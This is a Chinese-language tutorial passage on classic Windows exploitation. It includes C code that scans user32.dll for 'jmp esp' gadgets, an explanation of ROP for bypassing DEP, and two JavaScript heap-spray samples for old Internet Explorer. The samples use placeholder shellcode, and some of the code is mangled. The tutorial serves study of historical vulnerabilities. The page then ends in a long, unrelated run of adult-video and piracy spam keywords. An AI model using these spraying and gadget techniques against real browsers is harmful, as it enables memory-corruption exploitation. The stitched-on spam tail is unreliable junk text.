在Windows中使用jmp esp(跳板技術)的頻率遠遠高于linux(雖然這種技術在linux下也可用),比起將shellcode放在ret地址后面,將shellcode放在棧頂能有效減少空間。通過調用jmp esp將程序跳轉到shellcode。

雖然在DEP和ASLR盛行的年代,這個技術也早已不再有用武之地。但除了對于研究歷史漏洞幫助,該技術還是引入ROP這個概念的一個前置知識,在學習了ROP之后,你會忽然領悟的。

這次讓我們放下windbg,自己動手編程實現尋找jmp esp

編程實現尋找gadget

以jmp esp為案例,尋找user32.dll中的所有jmp esp地址。

#include "stdafx.h"#include#define DLL_Name "user32.dll"int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE handle=LoadLibraryA(DLL_Name);if(!handle){printf("load dll errorn");exit(0);
}printf("Load success...n");
BYTE *ptr=(BYTE*)handle;
BOOL flag=false;for(int i=0;!flag;i++)
{try{if(ptr[i]==0xFF&&ptr[i+1]==0xE4) //JMP ESP的十六進制碼=0xFFE4printf("ttptr->jmp esp = 0x%xn",((int)ptr+i));
}catch(...)
{int address=(int)ptr+i;printf("END OF 0x%xn",address);
flag=true;
}
}return 0;
}

使用ROP繞過DEP

ROP技術是用于繞過棧不可執行(其實現在的堆也不可執行咯),什么是ROP技術。其實之前的jmp esp已經引出了ROP的基礎理念,即使用程序自身text段的機器碼執行。

ROP的全程面向返回語句的編程,一個個gadgets串聯起來的鏈叫做ROP鏈。每個gadgets的格式大概為“ 指令 指令 ret”,通過ret命令將所有的gadgets串聯起來。

如果說jmp esp是一個跳板就直指靶心,那么ROP就是經過好多跳板,分步驟完成自己的命令。

常見的繞過DEP的案例,就是通過ROP實現VirtualProtect來對shellcode所在內存修改屬性(相當于關閉DEP),將其修改為可執行,再通過JMP R32來跳轉執行Shellcode。

具體案例可以參考我之前寫的對IE瀏覽器寫的Exploithttps://www.anquanke.com/post/id/190590

HeapSpray

堆噴射是一種shellcode布置技術,常常借助javascript等腳本語言實現,所以常見于瀏覽器漏洞。

上古的堆噴射

在Windows XP SP3以前,Windows下大部分程序都不會默認開始DEP(或者不支持),只需要構建nop(大量)+shellcode的內存塊,使用javascript申請200MB的內存空間,能夠覆蓋內存的大量空間。只要控制程序流跳轉到類似0x0c0c0c0c(也可以是其他位置,只要足夠穩定就行)這樣就會順著nops一路滑到shellcode并且執行。

參考代碼

<script language="javascript">
shellcode="u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234";
var nop="u9090u9090";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
//nop=nop.substring(0,0x100000-32/2-4/2-2/2);
var slide=new Array();
for(var i=0;i<200;i++){
slide[i]=nop+shellcode;
// slide[i]=nop;
}script>

精確堆噴射

在Windows進入后DEP時代,面臨DEP和ASLR的雙重防線,DEP導致堆中的數據無法執行,之前布置大量數據以量取勝的戰術失去了意義。于是heap-feng-shui(堆風水)技術被提出。

通過堆風水,我們申請0x1000個0x80000大小的堆塊。分配量足夠大,導致堆塊中的每0x1000個小的片的開始地址都是固定,通常為0xYYYY020。

因此我們能夠將ROP鏈的頭部穩定對齊末尾固定的四字節(例如0xYYYY0050)。這樣就能構成某種意義上的精確噴射。

參考文獻:http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html

IE8下的參考代碼(shellcode噴射對齊0x0c0c0c0c)

<html><head><title>title>head><body><script type="text/javascript">
var sc="u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141";
var nop="u0c0cu0c0c";
var offset=0x5ee-4/2;//0xbdc/2-4/2
//以0x10000為單位的shellcode+nop結構單元
while(nop.length<0x10000)
nop+=nop;
var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode編碼,所以0x10000/2個字節
var sc_nop=sc+nop_chunk;
//組合成單個大小為0x80000的堆塊(heap-feng-shui)
while(sc_nop.length<0x100000)
sc_nop+=sc_nop;
sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//組合成0x800000的堆塊
var offset_pattern=nop.substring(0,offset);
code=offset_pattern+sc_nop;
heap_chunks=new Array();
for(i=0;i<1000;i++)
{
heap_chunks[i]=code.substring(0,code.length);
}script>body>html>

參考文獻:

[1]peter.《Exploit編寫教程》[OL/DB],2010

[2]《現代化windows漏洞程序開發》[OL/DB],2016

[3]Failwest.《0day安全》[M].電子工業出版社,2011

[4]PEB手工分析

[5]WinXp符號表不支持解決方案

[6]https://blog.csdn.net/x_nirvana/article/details/68921334

[7]https://blog.csdn.net/hgy413/article/details/7422722

總結

以上是生活随笔為你收集整理的64位虚拟机下asm()语法_一步步学写Windows下的Shellcode的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

中文字幕电影在线 | 成年人看片网站 | 久久99精品久久久久久久久久久久 | 九九有精品 | 免费看黄视频 | 综合网婷婷 | 99久久er热在这里只有精品66 | 韩日av在线| 欧美久久久久久久久 | 国产精品高清av | 精品视频免费 | 午夜国产福利在线观看 | 亚洲三级黄色 | 亚洲天堂网视频在线观看 | 欧美a级片免费看 | 人人爽人人爽人人片av免 | 狠狠干干 | 欧美小视频在线观看 | 日韩v欧美v日本v亚洲v国产v | 久久国产系列 | 免费看国产黄色 | 久久久久久久久久久高潮一区二区 | 亚洲乱码精品 | av福利免费 | 国产在线视频一区二区三区 | 成人久久18免费网站图片 | 日韩免费三级 | 免费视频久久久久久久 | 久久久www成人免费精品张筱雨 | 国精产品999国精产品视频 | 国产精品久久久久久一区二区 | 91av99| 97在线观 | 久久久久99精品成人片三人毛片 | 久草在线高清视频 | 操久久免费视频 | 日本中文字幕久久 | 国产中文字幕视频在线观看 | 中文字幕乱码日本亚洲一区二区 | 中文字幕亚洲不卡 | 日韩午夜av| 欧美性生活小视频 | 国产精品午夜久久久久久99热 | 日韩一区二区三区免费视频 | 日韩成人在线一区二区 | 99精品在线播放 | 国产日韩在线一区 | 啪啪免费视频网站 | 99久久电影 | 欧美日韩精品在线观看视频 | 97超碰在线久草超碰在线观看 | 久久精品久久精品 | 日本成人黄色片 | 中文字幕av一区二区三区四区 | 中文av资源站 | 久久久久久久久影视 | 国产精品久久久久久久久软件 | 国产成人精品一区二区三区福利 | 亚洲黄色软件 | 亚洲在线视频网站 | 国内精品久久久久久久久 | av在线播放观看 | 久久久久久高清 | 欧美日韩在线观看不卡 | 精品国内 | 二区视频在线观看 | 国产亚洲精品美女久久 | 国产视频 久久久 | 9999毛片 | 欧美精品网站 | 激情综合五月天 | 九九九热精品免费视频观看网站 | 久草网站在线观看 | 中文av字幕在线观看 | 亚洲最大在线视频 | 亚洲一本视频 | 99久久精品国产系列 | 久久午夜影视 | 精久久久久 | 亚洲经典中文字幕 | 国产免费一区二区三区网站免费 | 亚洲精品永久免费视频 | 全久久久久久久久久久电影 | 成人免费网视频 | 午夜精品久久久久久久99婷婷 | 亚洲四虎| 成人a大片 | 色婷婷成人 | 日本在线成人 | 天天操天天干天天操天天干 | 成片免费观看视频999 | 九色视频网址 | 亚洲国产成人精品在线观看 | 91在线视频免费播放 | 国产黄大片 | 处女av在线 | 99视频国产在线 | 亚洲干 | 三级视频国产 | 91香蕉视频在线 | 国产精品毛片久久 | 国产精品video爽爽爽爽 | 很黄很黄的网站免费的 | 国产最新在线观看 | 人九九精品 | 国产精品原创在线 | 天无日天天操天天干 | 亚洲午夜av电影 | 蜜臀久久99精品久久久久久网站 | 婷婷激情站 | 天天干天天拍天天操 | 国内揄拍国产精品 | 日本久久91| 日本精品视频一区二区 | 五月天精品视频 | 黄色av电影在线观看 | 天天爽天天摸 | 九色在线视频 | 免费高清在线视频一区· | 人人爽人人看 | 伊人干综合 | 亚洲天堂免费视频 | 夜夜澡人模人人添人人看 | 在线免费观看麻豆视频 | 91麻豆精品国产91久久久久 | 二区中文字幕 | 精品一区在线看 | 久久久18| 久久精品这里热有精品 | 欧美a级片网站 | 亚洲日韩欧美视频 | 在线观看视频一区二区三区 | 一区免费观看 | 国产对白av| 在线观看av网 | 午夜三级理论 | 亚洲婷婷伊人 | 日日夜夜精品网站 | 在线电影日韩 | 久久国际影院 | 国产无遮挡猛进猛出免费软件 | 久久久久久久久久久黄色 | 天天干夜夜夜 | 亚洲精品视频在线观看免费视频 | 欧洲色吧 | 精品国产欧美一区二区三区不卡 | 91色吧| 免费av视屏 | 黄色一级网 | 在线播放 一区 | 97**国产露脸精品国产 | 狠狠久久综合 | 中文字幕网站 | 天堂av在线中文在线 | 免费合欢视频成人app | 天堂网av 在线 | 日日夜夜精品视频 | 免费一级特黄毛大片 | 精品久久一区二区 | 91精品视频免费观看 | 色干综合| 成人av一区二区兰花在线播放 | 日日干综合| 国产不卡免费av | 在线你懂 | 免费福利在线观看 | 日韩欧美精品在线观看 | 黄色的网站在线 | 夜夜摸夜夜爽 | 免费一级片在线观看 | 爱av在线网| av中文字幕在线观看网站 | 久草精品在线播放 | 国产在线观看中文字幕 | 国产专区一 | 国产精品自拍av | 久久精品国产亚洲精品2020 | 日韩在线欧美在线 | 人人澡人摸人人添学生av | 日本精品中文字幕在线观看 | 香蕉97视频观看在线观看 | 亚洲精品影院在线观看 | 免费久久99精品国产婷婷六月 | 四虎永久免费在线观看 | 麻豆视频一区 | 9色在线视频 | www免费 | 欧美成人亚洲 | 国产高清在线看 | 又色又爽又黄高潮的免费视频 | 国内精品久久久久久久97牛牛 | 97精品久久人人爽人人爽 | 97在线影视| 天堂av免费 | 亚洲国产大片 | 免费成人在线观看 | 91亚洲激情 | 三级av免费看| 美女视频网站久久 | 国产 一区二区三区 在线 | av中文字幕不卡 | 亚洲精品视频二区 | 国产不卡在线视频 | 色婷婷天天干 | 99精品国产一区二区三区麻豆 | 丁香狠狠 | 中文字幕免费久久 | 最近最新中文字幕视频 | 国产精品激情在线观看 | 国内精品久久久久久久久久久久 | 精品中文字幕在线 | 少妇视频在线播放 | 成人在线视 | 欧美二区在线播放 | 人人爽人人看 | 超碰免费成人 | 中文日韩在线 | 精品在线一区二区三区 | 久久久久国产精品一区 | 久久久久久久久久亚洲精品 | 婷婷激情久久 | 日韩久久视频 | 国产精品69久久久久 | 新av在线 | 中文字幕欧美三区 | 婷婷色亚洲 | 久草精品视频在线观看 | 亚洲无在线| 国产日韩在线播放 | 99久久精品国产一区二区成人 | 激情综合色图 | 精品主播网红福利资源观看 | 麻豆视频成人 | 久久久国产日韩 | 亚洲精品在线免费看 | 99精品国产在热久久下载 | 日韩电影一区二区三区在线观看 | 精品久久精品久久 | 91在线91拍拍在线91 | 久久有精品 | 视频成人永久免费视频 | 四虎5151久久欧美毛片 | 波多野结衣综合网 | 国产精品成人自产拍在线观看 | 午夜久久美女 | 亚洲第一区在线播放 | 日本视频久久久 | 五月天堂色 | 中文字幕中文字幕在线一区 | 亚洲日本黄色 | av福利在线播放 | 久久成人人人人精品欧 | 国产亚洲精品电影 | 久久久久一区 | 久久久精品国产一区二区三区 | 日韩一区二区三区高清在线观看 | 欧美精品乱码久久久久久按摩 | 国产最新视频在线 | av片免费播放| 九九九九热精品免费视频点播观看 | 久久最新网址 | 五月激情电影 | 亚洲精品一区二区三区新线路 | 美女视频黄网站 | 丁香六月婷婷综合 | 另类五月激情 | 久久精品国产免费 | 国产不卡av在线播放 | 在线视频日韩 | 亚洲精品tv久久久久久久久久 | 91在线精品秘密一区二区 | 久久久91精品国产 | 免费看一及片 | 黄色网址中文字幕 | 黄色在线免费观看网址 | 欧美精品一区二区免费 | 日韩欧美国产免费播放 | 国产在线毛片 | 国产在线国偷精品产拍 | 97超碰精品| 综合网天天 | 久久综合九色综合网站 | zzijzzij亚洲成熟少妇 | 九九久久免费视频 | 欧美aa在线 | 午夜av大片| 韩国av免费观看 | 久久精美视频 | 亚洲理论视频 | 国产不卡av在线播放 | 91av片 | 婷婷激情小说网 | 免费91麻豆精品国产自产在线观看 | 91精品免费在线观看 | 欧美成人高清 | 91免费视频黄 | 亚洲开心激情 | av一区二区三区在线观看 | 91色偷偷 | 四虎影视成人精品 | 激情欧美日韩一区二区 | 国产麻豆精品一区 | 视频国产一区二区三区 | a午夜在线 | 九七视频在线观看 | 日韩在线欧美在线 | 97影视| 国产在线p | 日本在线观看一区二区 | 亚洲精品在线视频播放 | 99国产在线观看 | 国内精品久久久久久久影视麻豆 | 久热av | 日韩在线中文字幕视频 | 久久精品久久精品 | 色婷婷啪啪免费在线电影观看 | 精品免费 | 久久中文欧美 | 欧美精品天堂 | 国产亚洲一级高清 | 亚洲自拍av在线 | 免费在线观看国产精品 | 久久精品一二区 | 色婷婷精品 | 亚洲国产精彩中文乱码av | 午夜资源站 | www.91av在线| 丰满少妇对白在线偷拍 | 国产一级二级在线 | 久久久久久高潮国产精品视 | 精品久久久国产 | 日韩在线视频免费播放 | 国产精品 国内视频 | 日韩欧美有码在线 | 日日干干夜夜 | 91亚洲综合 | 亚洲一区免费在线 | 久久精品8 | 伊在线视频 | 亚洲国产精品久久久久 | 99久久精品国产亚洲 | 狠狠狠色丁香婷婷综合久久88 | 成人97人人超碰人人99 | avav99| 五月婷婷在线播放 | 精品国产精品久久一区免费式 | 日日夜夜综合 | 99av国产精品欲麻豆 | 在线观看久 | 午夜久久福利 | 狠狠狠狠狠色综合 | 色婷婷亚洲综合 | 99国产一区二区三精品乱码 | 欧美精品在线一区 | 99激情网 | 日韩在线视频国产 | 成人在线视频免费看 | 国内综合精品午夜久久资源 | 国产69精品久久久久久久久久 | 日日干美女| 精品久久久久久亚洲综合网 | 国产精品免费久久久久久 | 91视频在线国产 | 久久久久久久久电影 | 国产字幕在线看 | 午夜精品视频一区二区三区在线看 | 日韩电影久久久 | 91精选| 在线观看福利网站 | 夜夜躁天天躁很躁波 | 亚洲日本三级 | 在线观看亚洲a | 久草久热| 在线免费91 | 久久国产精品系列 | 国产v欧美 | 免费观看国产精品 | 欧美日韩1区2区 | 日韩在线中文字幕视频 | 亚洲精品久久久久中文字幕m男 | 亚洲精品乱码久久久久久蜜桃不爽 | 视频成人| 97精品国产91久久久久久久 | av片中文字幕 | 中文字幕在线第一页 | 最新久久久 | 五月天激情视频在线观看 | 国产精品久久久久9999吃药 | 福利视频入口 | 成人97视频一区二区 | 激情丁香婷婷 | 夜夜躁日日躁 | 久久免费观看少妇a级毛片 久久久久成人免费 | 亚洲精品在线国产 | 不卡av免费在线观看 | 奇米影视777四色米奇影院 | 日韩激情在线视频 | 99精品久久久久久久久久综合 | 天天干,夜夜操 | 蜜桃麻豆www久久囤产精品 | 国产九九九视频 | 97视频在线免费 | 久久国产高清视频 | 国产精品久久亚洲 | 国产一卡二卡在线 | 免费国产在线视频 | 丁香久久久 | 黄色大片免费网站 | 91成人在线观看高潮 | 亚洲高清在线 | 天天射天天拍 | 奇米影视999 | 久操久 | 91av播放| 高潮毛片无遮挡高清免费 | 免费看污污视频的网站 | www.五月婷 | 日韩av在线资源 | 久久久九色精品国产一区二区三区 | 国产精品国产三级国产不产一地 | 国产精品一区二区吃奶在线观看 | 久久免费视频这里只有精品 | 一区二区三区韩国免费中文网站 | 日本中文乱码卡一卡二新区 | a黄在线观看| 成人在线观看影院 | 视频三区 | 天堂av官网 | 99精品国产免费久久久久久下载 | 夜色资源站wwwcom | 国产高清小视频 | 免费看片成年人 | 高清在线一区二区 | 国产一级视频 | 去干成人网| 日韩精品免费在线视频 | 亚洲精品视频在线观看免费视频 | 日本 在线 视频 中文 有码 | 色99中文字幕 | 久久视频在线观看中文字幕 | 97国产一区 | 国产又粗又猛又黄又爽 | 国产xxxx做受性欧美88 | 免费麻豆网站 | 色综合天天视频在线观看 | 免费精品在线视频 | 国产精品理论片在线观看 | 欧美一区二区精美视频 | 国产精品自在线 | 四虎亚洲精品 | 超碰999 | 黄色的网站在线 | 久草久草在线 | 国产免费视频一区二区裸体 | 国产成人精品一区二区三区网站观看 | 黄色福利网站 | 国产日产精品一区二区三区四区 | 久久综合久久综合这里只有精品 | 国产自偷自拍 | 久久国产精品系列 | 999ZYZ玖玖资源站永久 | 夜夜摸夜夜爽 | 天天干天天做天天爱 | 午夜免费福利视频 | 国产成人精品一区二区三区网站观看 | 久久综合加勒比 | 久久tv视频 | 成人av日韩 | 国产免费视频一区二区裸体 | 欧美日韩在线视频一区 | 日韩免费一区二区在线观看 | 91成人观看 | 亚洲精品乱码久久久久 | 国产成人久 | 国产手机av| 国产一区在线视频观看 | 美女免费视频观看网站 | 91九色精品女同系列 | 视频精品一区二区三区 | 国产精品久久久久久久久大全 | 视频在线在亚洲 | 午夜在线日韩 | av线上看| 久久成人精品电影 | 在线亚洲成人 | 国产精品自在线 | 久久久久 免费视频 | www.激情五月.com | 综合天堂av久久久久久久 | 永久精品视频 | 免费婷婷| 日韩一区二区三免费高清在线观看 | 黄色三级免费片 | 黄色网址在线播放 | 久久成人久久 | 国产91aaa | 日韩一级理论片 | 欧美韩日在线 | 成人黄色在线观看视频 | 婷婷在线资源 | 国产精品永久久久久久久久久 | 欧美性极品xxxx娇小 | 国产美女免费视频 | 国产免费亚洲高清 | 亚洲高清免费在线 | 国产亚洲免费的视频看 | 久久一区91 | 亚洲人在线视频 | 国产人成精品一区二区三 | 国产手机视频在线播放 | 久久久久久美女 | 欧美日韩精品在线视频 | 亚洲午夜小视频 | 亚洲精品视频网站在线观看 | 超碰在线天天 | 国产伦理一区 | 国产精品毛片一区视频播不卡 | 色综合久久88色综合天天 | 最新色站 | 黄网站色| 日韩欧美99 | 亚洲精品午夜aaa久久久 | 亚洲国产三级在线 | 人人舔人人舔 | 激情中文在线 | 五月婷婷六月综合 | 91精品在线视频 | 天天搞天天干 | 日韩大陆欧美高清视频区 | 久草新在线 | 不卡精品 | 日韩在线第一 | 99r国产精品| 国产精品一区二区av日韩在线 | 91成人精品国产刺激国语对白 | 国产九色在线播放九色 | 91精品在线视频观看 | 啪啪免费观看网站 | 久久三级毛片 | 久久 在线 | 欧美色道| av免费在线观看网站 | 中文视频一区二区 | 右手影院亚洲欧美 | 欧美精品中文字幕亚洲专区 | 欧美在线不卡一区 | 国产手机精品视频 | www.五月婷婷 | 免费大片黄在线 | 免费高清在线观看成人 | 高清视频一区 | 六月婷婷久香在线视频 | 国产亚洲永久域名 | 麻豆视频免费在线 | 91麻豆精品一区二区三区 | 97久久久免费福利网址 | 国产又粗又猛又黄又爽的视频 | 西西4444www大胆视频 | 九九热精品视频在线观看 | 香蕉视频免费看 | 国产直播av | 亚洲人xxx| 国产精品一区二区麻豆 | 欧美性猛片 | 四虎国产免费 | 中文字幕乱码日本亚洲一区二区 | 久久96国产精品久久99漫画 | 91九色在线播放 | 不卡av电影在线观看 | 激情欧美网| 国产色就色 | 少妇高潮流白浆在线观看 | 四虎最新入口 | 成人毛片a | 亚洲国产欧美在线人成大黄瓜 | 精品国产伦一区二区三区 | av黄色一级片| 97福利在线观看 | 91久久久久久国产精品 | 免费在线观看日韩视频 | 久久综合一本 | 天天综合久久综合 | 玖玖在线视频观看 | 亚洲综合情 | 在线天堂视频 | 久久久国产网站 | 四虎影视精品永久在线观看 | av网站手机在线观看 | 九九久久视频 | 国产男女无遮挡猛进猛出在线观看 | 久久综合加勒比 | 亚洲激情一区二区三区 | 97网在线观看 | 91大神免费在线观看 | 国产69精品久久久久99尤 | 亚洲va欧美va人人爽 | 玖玖999| 欧美精品国产综合久久 | 久久激情日本aⅴ | 国产免费观看高清完整版 | 国产一二三四在线视频 | 一本到视频在线观看 | 国产高清一级 | 天天干天天天 | 欧美精品一区二区三区一线天视频 | 麻豆免费视频观看 | 亚洲精品乱码白浆高清久久久久久 | 久草在线国产 | 色婷婷国产在线 | 韩国在线视频一区 | 欧美一级久久久 | 精品麻豆入口免费 | 久久久久国产一区二区三区四区 | 国外成人在线视频网站 | 亚洲日本va在线观看 | 国产最新视频在线观看 | 久久久国产一区二区 | 玖玖视频精品 | 国产亚州精品视频 | 日韩啪啪小视频 | 精品久久久久久一区二区里番 | 国内精品久久久久 | 亚洲综合色网站 | 欧美xxxx性xxxxx高清 | 国产精品美女www爽爽爽视频 | 中文久久精品 | 亚洲日本精品视频 | 成人精品99 | 国产精品99在线播放 | av成年人电影 | 伊人婷婷在线 | 午夜av影院 | 国产精品久久一区二区三区, | 国产精品99久久久久久武松影视 | 国产91全国探花系列在线播放 | 国产精品 日韩精品 | 三级a视频| 亚洲成年人在线播放 | 亚洲免费精彩视频 | 亚洲精选视频在线 | 亚洲97在线 | 香蕉成人在线视频 | 黄色三级久久 | 亚洲欧洲精品一区 | 亚洲精品视频在线观看免费视频 | 成人av电影免费在线观看 | 99精品免费久久久久久日本 | 久久综合激情 | 国产一级片播放 | 性色xxxxhd | 99这里只有精品99 | 久久夜色精品国产欧美乱极品 | 日韩一片| 日韩午夜电影 | 亚洲一区视频免费观看 | 一区中文字幕电影 | 国产精品不卡一区 | 黄色亚洲大片免费在线观看 | 国产在线观看你懂得 | 日韩在线三级 | 欧美精品一二三 | 看毛片的网址 | 一 级 黄 色 片免费看的 | 国产亚洲精品福利 | 欧美-第1页-屁屁影院 | 天天色天天综合网 | 在线视频观看亚洲 | 成人久久久久久久久久 | 视频一区二区三区视频 | 亚洲观看黄色网 | 精品在线免费观看 | 日日碰狠狠躁久久躁综合网 | 成人免费观看视频大全 | 综合久久久 | 九九热久久免费视频 | 国产精品99蜜臀久久不卡二区 | 波多野结衣在线播放一区 | 玖玖国产精品视频 | 免费色视频在线 | 91色在线观看视频 | 四虎欧美 | 狠狠操天天干 | 免费视频资源 | 亚洲成人资源网 | 日韩精品中文字幕在线不卡尤物 | 久久1电影院 | 中文字幕在线观看一区二区 | 不卡av在线免费观看 | 四虎国产精品成人免费4hu | 成人国产电影在线观看 | 国产亚洲精品久久 | 91成人免费看 | 久久国产视频网站 | 免费99精品国产自在在线 | 91漂亮少妇露脸在线播放 | 精品免费观看视频 | 久久99亚洲精品久久 | 国产丝袜一区二区三区 | 国产成人在线网站 | 成人精品在线 | 搡bbbb搡bbb视频| 日韩在线观看高清 | 天堂av在线网站 | 天天婷婷 | 日本中文字幕网址 | 99热这里是精品 | 色在线中文字幕 | 久草在线视频网站 | 天天色视频 | 亚洲人成免费 | 久草视频99 | 亚洲午夜精品久久久久久久久久久久 | 日韩色区| 91九色视频在线播放 | 亚洲精品国产精品国自产观看 | 亚洲精品ww | 欧美少妇影院 | aaa黄色毛片 | 日本美女xx | 免费观看成年人视频 | 亚洲日日射 | 亚洲a网 | 亚洲日本中文字幕在线观看 | 亚洲人成人天堂h久久 | 美女网站在线看 | av资源在线看| 亚洲日本黄色 | 国产精品女同一区二区三区久久夜 | 日本高清免费中文字幕 | 人人干人人模 | 久久婷亚洲五月一区天天躁 | 99久久精品免费一区 | 久久精品综合一区 | 不卡中文字幕av | 国产精品va在线播放 | 美女视频黄免费的 | 亚洲va欧美va人人爽春色影视 | 五月天亚洲精品 | 91 中文字幕| 操操操夜夜操 | 天天弄天天干 | 天天精品视频 | 美女免费视频一区二区 | 成人国产网址 | 日韩免费二区 | 波多野结衣亚洲一区二区 | 成人网中文字幕 | 伊人首页 | 91麻豆精品国产自产 | 午夜免费福利片 | 成 人 黄 色 片 在线播放 | 国产香蕉久久精品综合网 | 久草在线 | 欧美黑人巨大xxxxx | 国产成人av电影 | 在线观看av大片 | 91爱看片 | www.五月天色 | 欧美怡红院视频 | 成人免费观看视频大全 | 久热香蕉视频 | 99热在线国产 | 久久免费成人网 | 天天爽夜夜爽人人爽一区二区 | 中文字幕在线国产精品 | 狠狠色丁香婷婷综合欧美 | 久久久久婷 | 一区二区三区在线免费观看视频 | 在线导航av | 中文字幕视频一区 | 在线观看一区二区精品 | 日韩国产精品毛片 | 亚洲天天看 | 日本丰满少妇免费一区 | 亚洲视频www | 97激情影院| 2019中文最近的2019中文在线 | 日韩精品免费一区二区在线观看 | 亚洲清纯国产 | 亚洲日本国产精品 | 久久精品国产亚洲精品 | 欧美国产日韩激情 | 欧美精品亚州精品 | 日韩在线激情 | 国产一区在线不卡 | 丰满少妇麻豆av | 97人人澡人人添人人爽超碰 | 免费观看成人 | 91 在线视频| 欧美激情va永久在线播放 | 日本韩国中文字幕 | 国产999在线观看 | 国产人成在线视频 | 91成品人影院 | 国产在线观看国语版免费 | 久久久精品午夜 | 中文日韩在线 | a黄色| 一本一道波多野毛片中文在线 | 伊人五月天婷婷 | 青青草国产精品 | 97韩国电影 | 久久久久亚洲精品男人的天堂 | 天天色天天综合 | 国内揄拍国产精品 | 又色又爽的网站 | 国产成人久久av | 天天翘av| 国产精品爽爽爽 | 五月天久久狠狠 | 久久少妇av | 91精品第一页 | 亚洲日本色 | 99久久这里只有精品 | 国产成人精品区 | 国产成人av在线影院 | 丁香婷婷激情网 | 久久爱影视i | av在线超碰| 五月婷在线视频 | 色综合夜色一区 | 成年人在线观看 | 国产视频 久久久 | 国产精品久久久久久久久久久久久久 | 欧美国产精品久久久久久免费 | 久久午夜影院 | 91国内在线视频 | 美女黄久久| 中文字幕亚洲欧美日韩2019 | 天天干夜夜爽 | 色婷婷综合久久久久 | 日本中文字幕在线一区 | 色婷婷啪啪免费在线电影观看 | 国产午夜精品一区二区三区嫩草 | 字幕网资源站中文字幕 | 国内综合精品午夜久久资源 | 美女免费视频网站 | 一区二区三区在线不卡 | 国产二级视频 | 国际精品久久久久 | 欧美日韩亚洲在线观看 | 国产1区2区 | 国产精品av一区二区 | 五月天丁香综合 | 69绿帽绿奴3pvideos | 一区久久久 | 成人久久久久久久久久 | 日本最新一区二区三区 | 视频国产| 欧美人交a欧美精品 | 日韩精品大片 | 欧美一级片在线播放 | 一区二区免费不卡在线 | 午夜精品久久久久久久久久 | 久久婷婷开心 | 在线天堂中文www视软件 | 天天噜天天色 | 在线观看小视频 | 成人免费看黄 | 在线播放91 | 日韩色一区二区三区 | 免费一级毛毛片 | 韩国中文三级 | 国产精品久99 | 久久夜色精品国产欧美乱 | 色免费在线| 国产精品18毛片一区二区 | 成人欧美一区二区三区黑人麻豆 | www视频在线观看 | 国产精品视频不卡 | 808电影| 国产成人在线播放 | 久久xx视频 | 99视频在线精品 | 六月婷婷网 | 免费在线国产 | 久久久夜色| 久久免费精品国产 | 精品一区二区三区在线播放 | 三级视频日韩 | 九九99视频 | 久久综合免费 | 中文字幕免费一区 | 久久免费资源 | 丁香花中文在线免费观看 | 免费a视频 | 婷婷伊人五月天 | 九九热在线视频免费观看 | 一区二区成人国产精品 | 一区二区在线影院 | 黄色三级免费观看 | 久久69av | 精品 一区 在线 | 久久久久久久久久久久久久电影 | 欧美极度另类性三渗透 | 99性视频 | 国产无限资源在线观看 | 国产一区高清在线观看 | 青草视频免费观看 | www久久九 | 久久99中文字幕 | 欧美日韩在线精品 | 国产黄大片 | 亚洲成人黄色在线观看 | 免费观看一级成人毛片 | 国产精品免费在线 | 操少妇视频| 日本在线观看中文字幕无线观看 | 亚洲美女精品视频 | 999抗病毒口服液 | 最新av免费在线观看 | 日本三级吹潮在线 | 亚洲高清视频在线观看免费 | 日本精品久久久久中文字幕 | 国内精品久久久久久久影视简单 | 伊人五月天av| 在线观看黄色大片 | av丁香花| 中文字幕在线免费97 | 免费在线观看黄色网 | 亚洲一级免费观看 | 波多野结衣在线观看视频 | 91字幕 | 国产免费人成xvideos视频 | 久久在草 | 香蕉视频在线免费 | 国产涩涩在线观看 | 天天做天天爱天天综合网 | 免费精品视频在线 | 亚洲精品乱码久久久久久 | 久久久久久久综合色一本 | 国产精品女教师 | 在线 视频 一区二区 | 色视频在线免费观看 | 五月天激情综合 | 美女视频黄频大全免费 | 欧美久久久久 | 97视频在线免费 | 91av免费在线观看 | 91看片看淫黄大片 | 久久久久免费精品国产 | 999久久久久久久久久久 | 69精品视频在线观看 | 免费看三级 | 超碰免费av | 999久久国精品免费观看网站 | 在线观看视频色 | 国产精品一区二区av日韩在线 | 99精品视频在线观看播放 | 成人99免费视频 | 日韩av中文在线 | 天天操天天操 | av资源在线观看 | 美女久久久久 | 久久综合久色欧美综合狠狠 | 在线观看免费高清视频大全追剧 | 久久国产免费视频 | 久久午夜精品 | 91精品久久久久久粉嫩 | 特片网久久 | 99久久精品国产一区 | 亚洲国产精品久久久久婷婷884 | 99精品免费久久久久久久久 | 精品久久1| 免费av网站在线看 | 国产精品综合久久久久久 | 久久综合给合久久狠狠色 | 99欧美| 日韩电影在线观看一区二区三区 | 国产美女精品视频 | 97成人免费视频 | 在线视频区 | 奇米网网址 | 国产资源在线免费观看 | av在线免费播放网站 | 欧美一区二区在线看 | 日韩精品久久中文字幕 | 91九色视频| 99爱这里只有精品 | 视频在线99re | 国内精品久久久久久久久久久久 | av大全在线观看 | 久久免费在线观看视频 | 亚洲成人精品在线观看 | www.夜夜干.com | 97成人精品区在线播放 | 亚洲 成人 一区 | 日本高清dvd | 久久人人艹 | 亚州精品在线视频 | 亚洲黄色软件 | www操操操 | 亚洲成av人片在线观看无 | 97av影院| 综合色站导航 | 国产在线v | 黄色一级免费 | 亚洲a网|